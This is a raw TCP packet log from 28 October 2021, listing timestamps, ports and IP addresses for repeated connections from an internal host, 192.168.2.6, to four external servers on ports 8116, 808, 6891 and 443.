Oct 28, 2021 05:00:49.585711956 CEST	8116	50168	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:49.648443937 CEST	50170	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:49.648494005 CEST	443	50170	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:49.648586988 CEST	50170	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:49.649251938 CEST	50170	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:49.649270058 CEST	443	50170	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:49.676668882 CEST	808	50169	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:49.676784992 CEST	50169	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:49.678728104 CEST	50169	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:49.838752985 CEST	808	50169	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:49.838949919 CEST	808	50169	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:49.839059114 CEST	50169	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:49.839668036 CEST	50169	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:49.844158888 CEST	50169	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:49.844336987 CEST	50169	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:49.999672890 CEST	808	50169	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:50.004168034 CEST	808	50169	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:50.004278898 CEST	808	50169	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:50.004293919 CEST	808	50169	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:50.004307985 CEST	808	50169	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:50.138081074 CEST	443	50170	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:50.138278961 CEST	50170	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:50.139463902 CEST	50170	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:50.139478922 CEST	443	50170	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:50.147149086 CEST	50170	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:50.147171974 CEST	443	50170	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:50.147347927 CEST	50170	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:50.147366047 CEST	443	50170	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:50.389101028 CEST	808	50169	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:50.389137983 CEST	808	50169	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:50.389282942 CEST	50169	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:50.389347076 CEST	50169	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:50.392235994 CEST	50169	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:50.500583887 CEST	50171	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:50.552268028 CEST	808	50169	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:50.665935040 CEST	6891	50171	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:50.666121960 CEST	50171	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:50.666846991 CEST	50171	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:50.834507942 CEST	6891	50171	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:50.834542990 CEST	6891	50171	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:50.834695101 CEST	50171	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:50.835304022 CEST	50171	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:50.838046074 CEST	443	50170	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:50.838128090 CEST	443	50170	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:50.838232040 CEST	50170	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:50.839165926 CEST	50171	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:50.839286089 CEST	50171	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:50.845659971 CEST	50170	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:50.845685959 CEST	443	50170	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:51.004319906 CEST	6891	50171	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:51.004362106 CEST	6891	50171	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:51.010019064 CEST	50172	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:51.042483091 CEST	6891	50171	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:51.170305967 CEST	808	50172	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:51.170552015 CEST	50172	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:51.171341896 CEST	50172	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:51.331593990 CEST	808	50172	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:51.331635952 CEST	808	50172	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:51.331713915 CEST	50172	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:51.332257986 CEST	50172	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:51.336096048 CEST	50172	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:51.336172104 CEST	50172	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:51.395531893 CEST	6891	50171	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:51.395564079 CEST	6891	50171	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:51.395704031 CEST	50171	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:51.395775080 CEST	50171	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:51.399147987 CEST	50171	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:51.492451906 CEST	808	50172	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:51.496337891 CEST	808	50172	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:51.496364117 CEST	808	50172	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:51.496371984 CEST	808	50172	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:51.515552998 CEST	50173	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:51.564366102 CEST	6891	50171	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:51.569273949 CEST	8116	50173	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:51.569428921 CEST	50173	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:51.570207119 CEST	50173	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:51.623418093 CEST	8116	50173	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:51.623862982 CEST	8116	50173	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:51.623975039 CEST	50173	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:51.624599934 CEST	50173	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:51.628922939 CEST	50173	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:51.629029989 CEST	50173	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:51.682305098 CEST	8116	50173	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:51.682461977 CEST	8116	50173	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:51.869215012 CEST	8116	50173	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:51.869240999 CEST	8116	50173	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:51.869333982 CEST	50173	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:51.869360924 CEST	50173	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:51.871371031 CEST	50173	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:51.881155968 CEST	808	50172	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:51.881182909 CEST	808	50172	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:51.881330013 CEST	50172	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:51.889668941 CEST	50172	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:51.924433947 CEST	8116	50173	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:51.987129927 CEST	50174	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:51.987178087 CEST	443	50174	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:51.987262011 CEST	50174	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:51.988311052 CEST	50174	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:51.988346100 CEST	443	50174	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:52.017152071 CEST	50175	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:52.049906969 CEST	808	50172	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:52.183073997 CEST	6891	50175	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:52.183213949 CEST	50175	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:52.183928013 CEST	50175	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:52.349317074 CEST	6891	50175	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:52.349358082 CEST	6891	50175	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:52.349498034 CEST	50175	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:52.350014925 CEST	50175	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:52.354331970 CEST	50175	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:52.354444981 CEST	50175	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:52.513703108 CEST	443	50174	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:52.513819933 CEST	50174	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:52.514386892 CEST	50174	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:52.514405966 CEST	443	50174	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:52.519566059 CEST	6891	50175	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:52.519606113 CEST	6891	50175	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:52.519615889 CEST	6891	50175	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:52.520109892 CEST	50174	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:52.520133972 CEST	443	50174	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:52.520225048 CEST	50174	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:52.520251989 CEST	443	50174	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:52.899995089 CEST	6891	50175	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:52.900038958 CEST	6891	50175	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:52.900284052 CEST	50175	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:52.913558960 CEST	50175	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:53.045978069 CEST	50176	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:53.079025984 CEST	6891	50175	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:53.099622965 CEST	8116	50176	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:53.099792004 CEST	50176	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:53.101360083 CEST	50176	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:53.153857946 CEST	8116	50176	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:53.154110909 CEST	8116	50176	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:53.154243946 CEST	50176	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:53.155322075 CEST	50176	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:53.163716078 CEST	50176	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:53.163924932 CEST	50176	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:53.218811035 CEST	8116	50176	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:53.219168901 CEST	8116	50176	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:53.225819111 CEST	443	50174	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:53.225883961 CEST	443	50174	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:53.226128101 CEST	50174	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:53.231664896 CEST	50174	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:53.231699944 CEST	443	50174	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:53.384933949 CEST	8116	50176	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:53.384954929 CEST	8116	50176	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:53.385282040 CEST	50176	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:53.396400928 CEST	50177	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:53.397284985 CEST	50176	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:53.449851036 CEST	8116	50176	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:53.525465012 CEST	50178	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:53.525516987 CEST	443	50178	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:53.525640965 CEST	50178	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:53.526205063 CEST	50178	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:53.526220083 CEST	443	50178	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:53.560828924 CEST	808	50177	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:53.561172009 CEST	50177	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:53.562465906 CEST	50177	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:53.726739883 CEST	808	50177	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:53.726994038 CEST	808	50177	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:53.727200985 CEST	50177	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:53.727798939 CEST	50177	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:53.732640982 CEST	50177	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:53.732770920 CEST	50177	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:53.891972065 CEST	808	50177	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:53.896979094 CEST	808	50177	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:53.897017956 CEST	808	50177	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:53.897028923 CEST	808	50177	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:53.897037983 CEST	808	50177	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:54.055377007 CEST	443	50178	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:54.055546045 CEST	50178	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:54.056261063 CEST	50178	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:54.056277990 CEST	443	50178	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:54.062777042 CEST	50178	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:54.062800884 CEST	443	50178	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:54.062942982 CEST	50178	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:54.062956095 CEST	443	50178	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:54.285613060 CEST	808	50177	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:54.285634995 CEST	808	50177	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:54.285871029 CEST	50177	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:54.292795897 CEST	50177	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:54.408315897 CEST	50179	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:54.457067966 CEST	808	50177	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:54.574850082 CEST	6891	50179	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:54.575113058 CEST	50179	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:54.576196909 CEST	50179	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:54.742604017 CEST	6891	50179	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:54.742711067 CEST	6891	50179	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:54.742801905 CEST	50179	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:54.743339062 CEST	50179	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:54.747484922 CEST	50179	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:54.747587919 CEST	50179	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:54.770132065 CEST	443	50178	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:54.770200968 CEST	443	50178	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:54.770279884 CEST	50178	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:54.770315886 CEST	50178	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:54.778712988 CEST	50178	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:54.778753996 CEST	443	50178	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:54.914094925 CEST	6891	50179	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:54.946747065 CEST	50180	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:54.950484037 CEST	6891	50179	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:55.110838890 CEST	808	50180	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:55.110948086 CEST	50180	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:55.113281012 CEST	50180	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:55.277235031 CEST	808	50180	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:55.277323008 CEST	808	50180	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:55.277421951 CEST	50180	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:55.278162003 CEST	50180	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:55.282707930 CEST	50180	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:55.283085108 CEST	50180	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:55.301278114 CEST	6891	50179	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:55.301299095 CEST	6891	50179	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:55.301386118 CEST	50179	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:55.303625107 CEST	50179	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:55.425201893 CEST	50181	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:55.442070007 CEST	808	50180	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:55.446610928 CEST	808	50180	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:55.446954966 CEST	808	50180	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:55.447015047 CEST	808	50180	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:55.447086096 CEST	808	50180	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:55.447129965 CEST	808	50180	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:55.469952106 CEST	6891	50179	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:55.485419035 CEST	8116	50181	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:55.485564947 CEST	50181	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:55.486773968 CEST	50181	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:55.546724081 CEST	8116	50181	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:55.546971083 CEST	8116	50181	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:55.547046900 CEST	50181	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:55.547570944 CEST	50181	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:55.550693035 CEST	50181	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:55.550781965 CEST	50181	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:55.550801992 CEST	50181	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:55.610620975 CEST	8116	50181	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:55.610666990 CEST	8116	50181	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:55.795536995 CEST	8116	50181	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:55.795558929 CEST	8116	50181	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:55.795646906 CEST	50181	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:55.798631907 CEST	50181	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:55.825174093 CEST	808	50180	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:55.825206041 CEST	808	50180	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:55.825793982 CEST	50180	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:55.825862885 CEST	50180	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:55.832999945 CEST	50180	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:55.858602047 CEST	8116	50181	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:55.910819054 CEST	50182	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:55.910860062 CEST	443	50182	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:55.911029100 CEST	50182	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:55.911972046 CEST	50182	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:55.912002087 CEST	443	50182	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:55.960074902 CEST	50183	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:55.997112989 CEST	808	50180	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:56.125600100 CEST	6891	50183	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:56.125780106 CEST	50183	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:56.126940012 CEST	50183	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:56.292330027 CEST	6891	50183	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:56.292361975 CEST	6891	50183	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:56.292432070 CEST	50183	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:56.292984009 CEST	50183	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:56.297180891 CEST	50183	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:56.297312021 CEST	50183	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:56.404834032 CEST	443	50182	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:56.404962063 CEST	50182	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:56.405627012 CEST	50182	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:56.405635118 CEST	443	50182	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:56.410583019 CEST	50182	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:56.410593033 CEST	443	50182	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:56.410737991 CEST	50182	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:56.410746098 CEST	443	50182	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:56.462519884 CEST	6891	50183	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:56.462603092 CEST	6891	50183	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:56.502552032 CEST	6891	50183	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:56.839135885 CEST	6891	50183	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:56.839179039 CEST	6891	50183	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:56.839267969 CEST	50183	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:56.847224951 CEST	50183	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:56.989950895 CEST	50184	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:57.012717962 CEST	6891	50183	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:57.038199902 CEST	8116	50184	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:57.038371086 CEST	50184	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:57.039048910 CEST	50184	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:57.087438107 CEST	8116	50184	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:57.087737083 CEST	8116	50184	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:57.087851048 CEST	50184	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:57.088989973 CEST	50184	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:57.094501972 CEST	50184	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:57.100474119 CEST	50184	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:57.101022959 CEST	443	50182	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:57.101099968 CEST	443	50182	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:57.101126909 CEST	50182	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:57.101157904 CEST	50182	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:57.103545904 CEST	50182	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:57.103575945 CEST	443	50182	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:57.142456055 CEST	8116	50184	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:57.148473024 CEST	8116	50184	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:57.282344103 CEST	50185	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:57.317414999 CEST	8116	50184	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:57.317471981 CEST	8116	50184	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:57.317569971 CEST	50184	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:57.317622900 CEST	50184	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:57.330156088 CEST	50184	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:57.378196001 CEST	8116	50184	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:57.443301916 CEST	808	50185	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:57.443564892 CEST	50185	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:57.444344997 CEST	50185	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:57.463470936 CEST	50186	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:57.463521957 CEST	443	50186	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:57.463666916 CEST	50186	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:57.464529037 CEST	50186	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:57.464555979 CEST	443	50186	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:57.605526924 CEST	808	50185	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:57.605812073 CEST	808	50185	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:57.605909109 CEST	50185	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:57.606539965 CEST	50185	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:57.610282898 CEST	50185	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:57.610344887 CEST	50185	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:57.767256021 CEST	808	50185	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:57.771017075 CEST	808	50185	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:57.771051884 CEST	808	50185	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:57.771076918 CEST	808	50185	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:57.771106005 CEST	808	50185	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:57.956235886 CEST	443	50186	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:57.956433058 CEST	50186	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:57.957124949 CEST	50186	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:57.957139015 CEST	443	50186	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:57.966604948 CEST	50186	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:57.966624975 CEST	443	50186	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:57.966703892 CEST	50186	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:57.966718912 CEST	443	50186	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:58.153803110 CEST	808	50185	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:58.153848886 CEST	808	50185	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:58.153950930 CEST	50185	808	192.168.2.6	143.244.140.214
